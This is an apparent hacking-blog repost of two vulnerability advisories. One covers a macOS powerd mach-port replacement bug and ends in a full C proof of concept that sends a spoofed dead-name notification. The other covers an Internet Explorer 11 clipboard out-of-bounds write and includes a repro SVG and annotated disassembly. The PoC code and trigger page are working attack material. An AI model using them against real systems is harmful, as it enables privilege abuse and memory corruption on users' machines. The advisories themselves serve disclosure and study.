/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=976
powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
It checks in with launchd to get a server port and then wraps that in a CFPort:
pmServerMachPort = _SC_CFMachPortCreateWithPort(
"PowerManagement",
serverPort,
mig_server_callback,
&context);
It also asks to receive dead name notifications for other ports on that same server port:
mach_port_request_notification(
mach_task_self(), // task
notify_port_in, // port that will die
MACH_NOTIFY_DEAD_NAME, // msgid
1, // make-send count
CFMachPortGetPort(pmServerMachPort), // notify port
MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
&oldNotify); // previous
mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{
mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(
NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
This passes the raw message to pm_mig_demux:
static boolean_t
pm_mig_demux(
mach_msg_header_t * request,
mach_msg_header_t * reply)
{
mach_dead_name_notification_t *deadRequest =
(mach_dead_name_notification_t *)request;
boolean_t processed = FALSE;
processed = powermanagement_server(request, reply);
if (processed)
return true;
if (MACH_NOTIFY_DEAD_NAME == request->msgh_id)
{
__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
PMConnectionHandleDeadName(deadRequest->not_port);
__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
mach_port_deallocate(mach_task_self(), deadRequest->not_port);
reply->msgh_bits = 0;
reply->msgh_remote_port = MACH_PORT_NULL;
return TRUE;
}
This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
typedef struct {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
mach_msg_format_0_trailer_t trailer;
} mach_dead_name_notification_t;
This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.
The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)
Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
*/
// ianbeer
#if 0
MacOS/iOS arbitrary port replacement in powerd
powerd (running as root) hosts the com.apple.PowerManagement.control mach service.
It checks in with launchd to get a server port and then wraps that in a CFPort:
pmServerMachPort = _SC_CFMachPortCreateWithPort(
"PowerManagement",
serverPort,
mig_server_callback,
&context);
It also asks to receive dead name notifications for other ports on that same server port:
mach_port_request_notification(
mach_task_self(), // task
notify_port_in, // port that will die
MACH_NOTIFY_DEAD_NAME, // msgid
1, // make-send count
CFMachPortGetPort(pmServerMachPort), // notify port
MACH_MSG_TYPE_MAKE_SEND_ONCE, // notifyPoly
&oldNotify); // previous
mig_server_callback is called off of the mach port run loop source to handle new messages on pmServerMachPort:
static void
mig_server_callback(CFMachPortRef port, void *msg, CFIndex size, void *info)
{
mig_reply_error_t * bufRequest = msg;
mig_reply_error_t * bufReply = CFAllocatorAllocate(
NULL, _powermanagement_subsystem.maxsize, 0);
mach_msg_return_t mr;
int options;
__MACH_PORT_DEBUG(true, "mig_server_callback", serverPort);
/* we have a request message */
(void) pm_mig_demux(&bufRequest->Head, &bufReply->Head);
This passes the raw message to pm_mig_demux:
static boolean_t
pm_mig_demux(
mach_msg_header_t * request,
mach_msg_header_t * reply)
{
mach_dead_name_notification_t *deadRequest =
(mach_dead_name_notification_t *)request;
boolean_t processed = FALSE;
processed = powermanagement_server(request, reply);
if (processed)
return true;
if (MACH_NOTIFY_DEAD_NAME == request->msgh_id)
{
__MACH_PORT_DEBUG(true, "pm_mig_demux: Dead name port should have 1+ send right(s)", deadRequest->not_port);
PMConnectionHandleDeadName(deadRequest->not_port);
__MACH_PORT_DEBUG(true, "pm_mig_demux: Deallocating dead name port", deadRequest->not_port);
mach_port_deallocate(mach_task_self(), deadRequest->not_port);
reply->msgh_bits = 0;
reply->msgh_remote_port = MACH_PORT_NULL;
return TRUE;
}
This passes the message to the MIG-generated code for the powermanagement subsystem, if that fails (because the msgh_id doesn't
match the subsystem for example) then this compares the message's msgh_id field to MACH_NOTIFY_DEAD_NAME.
deadRequest is the message cast to a mach_dead_name_notification_t which is defined like this in mach/notify.h:
typedef struct {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;/* MACH_MSG_TYPE_PORT_NAME */
mach_msg_format_0_trailer_t trailer;
} mach_dead_name_notification_t;
This is a simple message, not a complex one. not_port is just a completely controlled integer which in this case will get passed directly to
mach_port_deallocate.
The powerd code expects that only the kernel will send a MACH_NOTIFY_DEAD_NAME message but actually anyone can send this and force the privileged process
to drop a reference on a controlled mach port name :)
Multiplexing these two things (notifications and a mach service) onto the same port isn't possible to do safely as the kernel doesn't prevent
user->user spoofing of notification messages - usually this wouldn't be a problem as attackers shouldn't have access to the notification port.
You could use this bug to replace a mach port name in powerd (eg the bootstrap port, an IOService port etc) with a one for which the attacker holds the receieve right.
Since there's still no KDK for 10.12.1 you can test this by attaching to powerd in userspace and setting a breakpoint in pm_mig_demux at the
mach_port_deallocate call and you'll see the controlled value in rsi.
Tested on MacBookAir5,2 MacOS Sierra 10.12.1 (16B2555)
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/ndr.h>
char* service_name = "com.apple.PowerManagement.control";
struct notification_msg {
mach_msg_header_t not_header;
NDR_record_t NDR;
mach_port_name_t not_port;
};
mach_port_t lookup(char* name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
return service_port;
}
int main() {
kern_return_t err;
mach_port_t service_port = lookup(service_name);
mach_port_name_t target_port = 0x1234; // the name of the port in the target namespace to destroy
printf("%d\n", getpid());
printf("service port: %x\n", service_port);
struct notification_msg not = {0};
not.not_header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
not.not_header.msgh_size = sizeof(struct notification_msg);
not.not_header.msgh_remote_port = service_port;
not.not_header.msgh_local_port = MACH_PORT_NULL;
not.not_header.msgh_id = 0110; // MACH_NOTIFY_DEAD_NAME
not.NDR = NDR_record;
not.not_port = target_port;
// send the fake notification message
err = mach_msg(¬.not_header,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct notification_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("fake notification message: %s\n", mach_error_string(err));
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863532382
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
<!--
Source: http://blog.skylined.nl/20161221001.html
Synopsis
A specially crafted web-page can trigger an out-of-bounds write in Microsoft Internet Explorer 11. Code that handles pasting images from the clipboard uses an incorrect buffer length, which allows writing beyond the boundaries of a heap-based buffer. An attacker able to trigger this vulnerability can execute arbitrary code.
Known affected software, attack vectors and potential mitigations
Microsoft Internet Explorer 11.0.9600.16521
An attacker would need to get a target user to open a specially crafted web-page. In order to trigger the issue, the web-page needs to either programmatically copy/paste an image using Javascript or get the user to do this (for instance by tricking the user into typing keyboard shortcuts such as CTRL+C/CTRL+V) . By default, MSIE prompts the user to allow or disallow programmatically copy/pasting the first time a website tries to do this, so user-interaction is normally required in such cases. Disabling the Allow Programmatic clipboard access setting in Internet Options -> Security Settings -> [Choose a zone] -> Scripting should prevent websites from programmatically copy/pasting an image. Disabling execution of scripts on web-pages altogether will have the same effect. Please note that neither option prevents a website from social engineering the user into typing a keyboard shortcut to copy/paste the image.
Details
When an image is pasted in MSHTML, it gets converted from BMP format to PNG. This is done in the MSHTML!CPasteCommand::ConvertBitmaptoPng function. This function incorrectly uses the size of the original BMP image to allocate memory for storing the converted PNG image. The PNG image will be smaller than the BMP under most circumstances, but if a specially crafted image leads to the original BMP image being smaller than the converted PNG, the function will write PNG data beyond the bounds of the allocated memory.
Here is some pseudo code that was created by reverse engineering the CPasteCommand::ConvertBitmaptoPng function, which shows the vulnerability:
ConvertBitmaptoPng(
[IN] VOID* poBitmap, UINT uBitmapSize,
[OUT] VOID** ppoPngImage, UINT* puPngImageSize
) {
// Convert a BMP formatted image to a PNG formatted image.
CMemStm* poCMemStm;
IWICStream* poWicBitmap;
STATSTG oStatStg;
TSmartArray<unsigned char> poPngImage;
UINT uReadSize;
// Create a CMemStm for the PNG image.
CreateStreamOnHGlobal(NULL, True, poCMemStm);
// Create an IWICStream from the BMP image.
InitializeFromMemory(poBitMap, uBitmapSize,
&GUID_ContainerFormatBmp, &poWicBitmap)));
// Write BMP image in IWICStream to PNG image in CMemStm
WriteWicBitmapToStream(poWicBitmap, &GUID_ContainerFormatPng, poCMemStm);
// Get size of PNG image in CMemStm and save it to the output variable.
oCMemStm->Stat(&oStatStg, 0);
*puPngImageSize = oStatStg.cbSize.LowPart;
// Allocate memory for the PNG
poPngImage->New(uBitmapSize);
// Go to start of PNG image in CMemStm
poCMemStm->Seek(0, STREAM_SEEK_SET, NULL, &pPositionLow);
// Read PNG image in CMemStm to allocated memory.
poCMemStm->Read(poPngImage, *puPngImageSize, &uReadSize);
// Save location of allocated memory with PNG image to output variable.
*ppoPngImage = poPngImage;
}
Notes:
The code uses the wrong size to allocate memory in poPngImage->New(uBitmapSize);. Changing this line of code to poPngImage->New(*puPngImageSize); should address the issue.
The PNG image is written to the allocated memory in poCMemStm->Read(poPngImage, *puPngImageSize, &uReadSize);. This is where the code can potentially write beyond the boundaries of the allocated memory if uBitmapSize is smaller than *puPngImageSize.
Repro.svg:
-->
<svg style="width:1px; height: 1px;" xmlns="http://www.w3.org/2000/svg">
<script>
window.onload = function () {
document.designMode="on";
document.execCommand("SelectAll");/*exec*/
window.getSelection().collapseToEnd();/*js_om*/
document.execCommand("Copy");/*exec*/
document.execCommand("Paste", false);/*exec*/
}
</script>
</svg>
<!--
Below are my notes from reversing the code for your viewing pleasure. There are a few flaws/omissions in the parts that are not directly relevant to the bug, as I did not attempt to finish all the details after I figured out enough to determine root cause, exploitability and attack vectors.
MSHTML!CPasteCommand..ConvertBitmaptoPng.txt
MSHTML!CPasteCommand::ConvertBitmaptoPng(
VOID* poBitmap<ebp+8>,
UINT uBitmapSize<ebp+c>,
BYTE[]** ppoPngImage<ebp+10>,
UINT* puPngImageSize<ebp+14>):
-50 STATSTG oStatStg {
-50 00 04 LPOLESTR pwcsName;
-4C 04 04 DWORD type;
-48 08 08 ULARGE_INTEGER cbSize;
-40 10 08 FILETIME mtime;
-38 18 08 FILETIME ctime;
-30 20 08 FILETIME atime;
-28 28 04 DWORD grfMode;
-24 2C 04 DWORD grfLocksSupported;
-20 30 10 CLSID clsid;
-10 34 04 DWORD grfStateBits;
-0C 38 04 DWORD reserved;
} size = 3C
-54 CMemStm* poCMemStm
-58 VOID* poWicBitmap
-5C UCHAR[]* poPngImage (TSmartArray)
-60 UINT uReadSize
-64 BYTE[]** ppoPngImage
-70 DWORD pPositionLow // lower DWORD of 64 bit position in stream.
6f3818fd 8bff mov edi,edi
6f3818ff 55 push ebp
6f381900 8bec mov ebp,esp
6f381902 83ec74 sub esp,74h
6f381905 a13c03436f mov eax,dword ptr [MSHTML!__security_cookie (6f43033c)]
6f38190a 33c5 xor eax,ebp
6f38190c 8945fc mov dword ptr [ebp-4],eax
6f38190f 8b4510 mov eax,dword ptr [ebp+10h] ppoPngImage<eax> = ppoPngImage<stack>
6f381912 8d4dac lea ecx,[ebp-54h] &poCMemStm<ecx> = &poCMemStm<stack>
6f381915 53 push ebx //save reg
6f381916 8b5d14 mov ebx,dword ptr [ebp+14h] puPngImageSize<ebx> = puPngImageSize<stack>
6f381919 56 push esi //save reg
6f38191a 8b7508 mov esi,dword ptr [ebp+8] poBitmap<esi> = poBitmap<ebp+8>
6f38191d 57 push edi //save reg
6f38191e 33ff xor edi,edi <edi> = 0
6f381920 89459c mov dword ptr [ebp-64h],eax ppoPngImage<stack> = ppoPngImage<eax>
6f381923 897da8 mov dword ptr [ebp-58h],edi poWicBitmap<stack> = 0<edi> poWicBitmap = 0
6f381926 897dac mov dword ptr [ebp-54h],edi poCMemStm<stack> = 0<edi> poCMemStm = 0
6f381929 e8566827ff call 6e5f8184 pSmartStreamPointer<eax> = MSHTML!TSmartPointer< pSmartStreamPointer = &(TSmartPointer<...>(&poCMemStm))
Windows::Foundation::IAsyncOperation<
Windows::Storage::Streams::IRandomAccessStream *
>
>::operator&(
&poCMemStm)
6f38192e 50 push eax larg3<stack> = pSmartStreamPointer<eax>
6f38192f 6a01 push 1 larg2<stack> = 1
6f381931 57 push edi larg1<stack> = 0<edi>
6f381932 ff1520c0426f call dword ptr [6f42c020] HRESULT hResult<eax> = combase!CreateStreamOnHGlobal( if (FAILED(hResult = combase!CreateStreamOnHGlobal(NULL, True, pSmartStreamPointer)))
hGlobal = NULL,
fDeleteOnRelease = True,
ppstm = pSmartStreamPointer<eax>);
6f381938 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f38193a 85ff test edi,edi if (hResult<edi> < 0)
6f38193c 0f88b8000000 js 6f3819fa goto exit_label_1 goto exit_label_1;
6f381942 8b550c mov edx,dword ptr [ebp+0Ch] larg1<edx> = uBitmapSize<stack>
6f381945 8d45a8 lea eax,[ebp-58h] &poWicBitmap<eax> = &(poWicBitmap<stack>)
6f381948 50 push eax larg3<stack> = &poWicBitmap<eax>
6f381949 6860147a6e push 6e7a1460 larg2<stack> = &GUID_ContainerFormatBmp
6f38194e 8bce mov ecx,esi larg1<ecx> = poBitmap<esi>
6f381950 e8c8325dff call 6e954c1d hResult<eax> = MSHTML!InitializeFromMemory( if (FAILED(hResult = InitializeFromMemory(poBitMap, uBitmapSize, &GUID_ContainerFormatBmp, &poWicBitmap)))
poBitmap,
uBitmapSize,
&GUID_ContainerFormatBmp<dll>,
&poWicBitmap);
6f381955 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f381957 85ff test edi,edi if (hResult < 0)
6f381959 0f889b000000 js 6f3819fa goto exit_label_1 goto exit_label_1;
6f38195f ff75ac push dword ptr [ebp-54h] larg3<stack> = poCMemStm<stack>
6f381962 8b4da8 mov ecx,dword ptr [ebp-58h] larg1<ecx> = poWicBitmap<stack>
6f381965 ba24a4736e mov edx,6e73a424 larg2<edx> = &GUID_ContainerFormatPng<dll>
6f38196a e8e4f6e6ff call 6f1f1053 hResult<eax> = MSHTML!WriteWicBitmapToStream( if (FAILED(hResult = WriteWicBitmapToStream(poWicBitmap, &GUID_ContainerFormatPng, poCMemStm)))
poWicBitmap,
&GUID_ContainerFormatPng,
poCMemStm)
6f38196f 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f381971 85ff test edi,edi if (hResult<edi> < 0)
6f381973 0f8881000000 js 6f3819fa goto exit_label_1 goto exit_label_1;
6f381979 8b45ac mov eax,dword ptr [ebp-54h] poCMemStm<eax> = poCMemStm<stack>
6f38197c 8d55b0 lea edx,[ebp-50h] &oStatStg<edx> = &(oStatStg<stack>)
6f38197f 33f6 xor esi,esi 0<esi> = 0
6f381981 56 push esi larg3<stack> = 0<esi>
6f381982 52 push edx larg2<stack> = &oStatStg<edx>
6f381983 8b08 mov ecx,dword ptr [eax] afVFTable<ecx> = poCMemStm<eax>->afVFTable
6f381985 50 push eax larg1<stack> = poCMemStm<eax>
6f381986 ff5130 call dword ptr [ecx+30h] hResult<eax> = poCMemStm->Stat(&oStatStg, 0) if (FAILED(hResult = poCMemStm->Stat(&oStatStg, 0)))
6f381989 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f38198b 85ff test edi,edi if (hResult<edi> < 0)
6f38198d 786b js 6f3819fa goto exit_label_1 goto exit_label_1;
6f38198f 8b45b8 mov eax,dword ptr [ebp-48h] uPngImageSize<eax> = oStatStg<stack>.cbSize.LowPart
6f381992 8d4da4 lea ecx,[ebp-5Ch] &poPngImage<ecx> = &(poPngImage<stack>)
6f381995 ff750c push dword ptr [ebp+0Ch] uBitmapSize<stack> = uBitmapSize<stack>
6f381998 8903 mov dword ptr [ebx],eax *puPngImageSize<ebx> = uPngImageSize<eax> *puPngImageSize = oStatStg.cbSize.LowPart
6f38199a 8975a4 mov dword ptr [ebp-5Ch],esi poPngImage<stack> = 0<esi> ppoPngImage = NULL
6f38199d e8c34453ff call 6e8b5e65 MSHTML!TSmartArray<unsigned char>::New( if (FAILED(hResult = poPngImage->New(uBitmapSize)))
uBitmapSize<stack>)
6f3819a2 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f3819a4 85ff test edi,edi if (hResult<edi> >= 0)
6f3819a6 7905 jns 6f3819ad goto skip_1
free_and_exit_label_2:
6f3819a8 8b4da4 mov ecx,dword ptr [ebp-5Ch] poPngImage<ecx> = poPngImage<stack> goto free_poPngImage_and_exit
6f3819ab eb48 jmp 6f3819f5 goto free_and_exit_label_1
skip_1:
6f3819ad 8b45ac mov eax,dword ptr [ebp-54h] poCMemStm<eax> = poCMemStm<stack>
6f3819b0 8d5590 lea edx,[ebp-70h] &pPositionLow<edx> = &(pPositionLow<stack>)
6f3819b3 52 push edx larg3.2 = &pPositionLow<edx>
6f3819b4 56 push esi larg3.1 = 0<esi>
6f3819b5 56 push esi larg2.2 = 0<esi>
6f3819b6 8b08 mov ecx,dword ptr [eax] afVFTable<ecx> = poCMemStm<eax>->afVFTable
6f3819b8 56 push esi larg2.1 = 0<esi>
6f3819b9 50 push eax larg1 = poCMemStm<eax>
6f3819ba ff5114 call dword ptr [ecx+14h] hResult<eax> = poCMemStm->Seek( if (FAILED(hResult = poCMemStm->Seek(0, STREAM_SEEK_SET, NULL, &pPositionLow)))
0,
STREAM_SEEK_SET,
NULL,
&pPositionLow)
6f3819bd 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f3819bf 85ff test edi,edi if (hResult<edi> < 0)
6f3819c1 78e5 js 6f3819a8 goto free_and_exit_label_2 goto free_poPngImage_and_exit
6f3819c3 8b45ac mov eax,dword ptr [ebp-54h] poCMemStm<eax> = poCMemStm<stack>
6f3819c6 8d55a0 lea edx,[ebp-60h] &uReadSize<edx> = &(uReadSize<stack>)
6f3819c9 8b75a4 mov esi,dword ptr [ebp-5Ch] poPngImage<esi> = poPngImage<stack>
6f3819cc 52 push edx larg4 = &uReadSize<edx>
6f3819cd ff33 push dword ptr [ebx] larg3 = *puPngImageSize<ebx>
6f3819cf 8b08 mov ecx,dword ptr [eax] afVFTable<ecx> = poCMemStm<eax>->afVFTable
6f3819d1 56 push esi larg2 = poPngImage<esi>
6f3819d2 50 push eax larg1 = <eax>
6f3819d3 ff510c call dword ptr [ecx+0Ch] hResult = poCMemStm->Read( if (FAILED(poCMemStm->Read(poPngImage, *puPngImageSize, &uReadSize)))
poPngImage,
************** *puPngImageSize,
&uReadSize)
6f3819d6 8bf8 mov edi,eax hResult<edi> = hResult<eax>
6f3819d8 85ff test edi,edi if (hResult<edi> >= 0) goto free_poPngImage_and_exit
6f3819da 7904 jns 6f3819e0 goto skip_label_2
6f3819dc goto free_and_exit_label_3
skip_label_2:
6f3819e0 8b03 mov eax,dword ptr [ebx] uPngInfoSize<eax> = *puPngImageSize<ebx>
6f3819e2 3b45a0 cmp eax,dword ptr [ebp-60h] if (uPngInfoSize<eax> == uReadSize<stack>) if (uPngInfoSize != uReadSize) {
6f3819e5 7407 je 6f3819ee goto skip_label_3
6f3819e7 bfffff0080 mov edi,8000FFFFh hResult<edi> = 0x8000FFFF (Error: Catastrophic failure) hResult = 0x8000FFFF (Error: Catastrophic failure)
6f3819ec ebee jmp 6f3819dc goto free_and_exit_label_3 goto free_poPngImage_and_exit
free_and_exit_label_3: }
6f3819dc 8bce mov ecx,esi poPngImage<ecx> = poPngImage<esi>
6f3819de eb15 jmp 6f3819f5 goto free_and_exit_label_1
skip_label_3:
6f3819ee 8b459c mov eax,dword ptr [ebp-64h] ppoPngImage<eax> = ppoPngImage<stack>
6f3819f1 33c9 xor ecx,ecx poPngImage<ecx> = NULL
6f3819f3 8930 mov dword ptr [eax],esi *ppoPngImage<eax> = poPngImage<esi> *ppoPngImage = poPngImage, poPngImage = NULL
free_and_exit_label_1: free_poPngImage_and_exit:
6f3819f5 e881f620ff call 6e59107b MSHTML!ProcessHeapFree(poPngImage<ecx>) ProcessHeapFree(poPngImage)
exit_label_1:
6f3819fa 8d4dac lea ecx,[ebp-54h] &poCMemStm<ecx> = &(poCMemStm<stack>)
6f3819fd e89f4b25ff call 6e5d65a1 MSHTML!SP<Tree::GridTrackList>::~SP<Tree::GridTrackList>(
&poCMemStm<ecx>)
6f381a02 8d4da8 lea ecx,[ebp-58h] &poWicBitmap<ecx> = &(poWicBitmap<stack>)
6f381a05 e8974b25ff call 6e5d65a1 MSHTML!SP<Tree::GridTrackList>::~SP<Tree::GridTrackList>(
&poWicBitmap<ecx>)
6f381a0a 8b4dfc mov ecx,dword ptr [ebp-4]
6f381a0d 8bc7 mov eax,edi return hResult<edi>
6f381a0f 5f pop edi
6f381a10 5e pop esi
6f381a11 33cd xor ecx,ebp
6f381a13 5b pop ebx
6f381a14 e8f7f520ff call MSHTML!__security_check_cookie (6e591010)
6f381a19 8be5 mov esp,ebp
6f381a1b 5d pop ebp
6f381a1c c21000 ret 10h
6f381a1f 90 nop
6f381a20 90 nop
6f381a21 90 nop
6f381a22 90 nop
6f381a23 90 nop
MSHTML!CPasteCommand..PasteFromClipboard.txt
MSHTML!CPasteCommand::PasteFromClipboard(
self<ecx>,
xArg1<ebp+8>,
xArg2<ebp+C>,
xArg3<ebp+10>,
xArg4<ebp+14>,
xArg5<ebp+18>,
xArg6<ebp+1C>,
xArg7<ebp+20>,
xArg8<ebp+24>):
esp+34 = VOID* var34 (poBitmap)
esp+38 = BYTE[]* var38 (pabImageData)
esp+4C = UINT var4C (uBitmapSize)
esp+50 = UINT var50 (uBitmapInfoSize / uPngImageSize)
MSHTML!CPasteCommand::PasteFromClipboard:
72cf6235 8bff mov edi,edi
72cf6237 55 push ebp
72cf6238 8bec mov ebp,esp
72cf623a 83e4f8 and esp,0FFFFFFF8h
72cf623d 83ec74 sub esp,74h
72cf6240 53 push ebx
72cf6241 56 push esi
72cf6242 57 push edi
72cf6243 8bd9 mov ebx,ecx
72cf6245 e8b1cdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf624a 50 push eax
72cf624b 8d4c2478 lea ecx,[esp+78h]
72cf624f e86fb1afff call MSHTML!CPasteOperationState::CPasteOperationState (727f13c3)
72cf6254 33ff xor edi,edi
72cf6256 8bcb mov ecx,ebx
72cf6258 897c243c mov dword ptr [esp+3Ch],edi
72cf625c 897c2410 mov dword ptr [esp+10h],edi
72cf6260 897c2430 mov dword ptr [esp+30h],edi
72cf6264 897c2468 mov dword ptr [esp+68h],edi
72cf6268 897c246c mov dword ptr [esp+6Ch],edi
72cf626c 897c2470 mov dword ptr [esp+70h],edi
72cf6270 897c2414 mov dword ptr [esp+14h],edi
72cf6274 897c2424 mov dword ptr [esp+24h],edi
72cf6278 e87ecdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf627d 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6280 8bf0 mov esi,eax
72cf6282 83c110 add ecx,10h
72cf6285 897c2428 mov dword ptr [esp+28h],edi
72cf6289 897c242c mov dword ptr [esp+2Ch],edi
72cf628d 897c2440 mov dword ptr [esp+40h],edi
72cf6291 6a01 push 1
72cf6293 8b01 mov eax,dword ptr [ecx]
72cf6295 89742454 mov dword ptr [esp+54h],esi
72cf6299 897c241c mov dword ptr [esp+1Ch],edi
72cf629d 897c2420 mov dword ptr [esp+20h],edi
72cf62a1 ff503c call dword ptr [eax+3Ch]
72cf62a4 56 push esi
72cf62a5 8d4c2460 lea ecx,[esp+60h]
72cf62a9 8944245c mov dword ptr [esp+5Ch],eax
72cf62ad 897c2464 mov dword ptr [esp+64h],edi
72cf62b1 e8899265ff call MSHTML!CEnableDeferringAccessibilityEvents::CEnableDeferringAccessibilityEvents (7234f53f)
72cf62b6 8b7d08 mov edi,dword ptr [ebp+8]
72cf62b9 8bcf mov ecx,edi
72cf62bb 8b07 mov eax,dword ptr [edi]
72cf62bd ff9080000000 call dword ptr [eax+80h]
72cf62c3 85c0 test eax,eax
72cf62c5 0f84fd050000 je MSHTML!CPasteCommand::PasteFromClipboard+0x693 (72cf68c8)
72cf62cb 8b4d0c mov ecx,dword ptr [ebp+0Ch]
72cf62ce 8b01 mov eax,dword ptr [ecx]
72cf62d0 ff9080000000 call dword ptr [eax+80h]
72cf62d6 85c0 test eax,eax
72cf62d8 0f84ea050000 je MSHTML!CPasteCommand::PasteFromClipboard+0x693 (72cf68c8)
72cf62de 837d2000 cmp dword ptr [ebp+20h],0
72cf62e2 741c je MSHTML!CPasteCommand::PasteFromClipboard+0xcb (72cf6300)
72cf62e4 8bcb mov ecx,ebx
72cf62e6 e810cdfdff call MSHTML!CCommand::Doc (72cd2ffb)
72cf62eb 8bf0 mov esi,eax
72cf62ed 8bcf mov ecx,edi
72cf62ef 8b07 mov eax,dword ptr [edi]
72cf62f1 ff5078 call dword ptr [eax+78h]
72cf62f4 50 push eax
72cf62f5 8d8e7c010000 lea ecx,[esi+17Ch]
72cf62fb e8bd2967ff call MSHTML!TSmartPointer<CMarkup>::operator= (72368cbd)
72cf6300 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6303 8d542418 lea edx,[esp+18h]
72cf6307 8d4910 lea ecx,[ecx+10h]
72cf630a e8ea7062ff call MSHTML!CreateMarkupPointer2 (7231d3f9)
72cf630f 8bf0 mov esi,eax
72cf6311 85f6 test esi,esi
72cf6313 0f88b4050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6319 8b4c2418 mov ecx,dword ptr [esp+18h]
72cf631d 57 push edi
72cf631e 51 push ecx
72cf631f 8b01 mov eax,dword ptr [ecx]
72cf6321 ff5030 call dword ptr [eax+30h]
72cf6324 8bf0 mov esi,eax
72cf6326 85f6 test esi,esi
72cf6328 0f889f050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf632e 8b4c2418 mov ecx,dword ptr [esp+18h]
72cf6332 6a00 push 0
72cf6334 51 push ecx
72cf6335 8b01 mov eax,dword ptr [ecx]
72cf6337 ff5014 call dword ptr [eax+14h]
72cf633a 8bf0 mov esi,eax
72cf633c 85f6 test esi,esi
72cf633e 0f8889050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6344 8b4b08 mov ecx,dword ptr [ebx+8]
72cf6347 8d54241c lea edx,[esp+1Ch]
72cf634b 8d4910 lea ecx,[ecx+10h]
72cf634e e8a67062ff call MSHTML!CreateMarkupPointer2 (7231d3f9)
72cf6353 8bf0 mov esi,eax
72cf6355 85f6 test esi,esi
72cf6357 0f8870050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf635d 8b4c241c mov ecx,dword ptr [esp+1Ch]
72cf6361 57 push edi
72cf6362 51 push ecx
72cf6363 8b01 mov eax,dword ptr [ecx]
72cf6365 ff5030 call dword ptr [eax+30h]
72cf6368 8bf0 mov esi,eax
72cf636a 85f6 test esi,esi
72cf636c 0f885b050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6372 8b4c241c mov ecx,dword ptr [esp+1Ch]
72cf6376 6a01 push 1
72cf6378 51 push ecx
72cf6379 8b01 mov eax,dword ptr [ecx]
72cf637b ff5014 call dword ptr [eax+14h]
72cf637e 8bf0 mov esi,eax
72cf6380 85f6 test esi,esi
72cf6382 0f8845050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf6388 8b03 mov eax,dword ptr [ebx]
72cf638a 8d4c2448 lea ecx,[esp+48h]
72cf638e 51 push ecx
72cf638f 8d4c2458 lea ecx,[esp+58h]
72cf6393 51 push ecx
72cf6394 8d4c241c lea ecx,[esp+1Ch]
72cf6398 51 push ecx
72cf6399 8bcb mov ecx,ebx
72cf639b ff5030 call dword ptr [eax+30h]
72cf639e 8bf0 mov esi,eax
72cf63a0 85f6 test esi,esi
72cf63a2 0f8825050000 js MSHTML!CPasteCommand::PasteFromClipboard+0x698 (72cf68cd)
72cf63a8 8b442450 mov eax,dword ptr [esp+50h]
72cf63ac 85c0 test eax,eax
72cf63ae 741e je MSHTML!CPasteCommand::PasteFromClipboard+0x199 (72cf63ce)
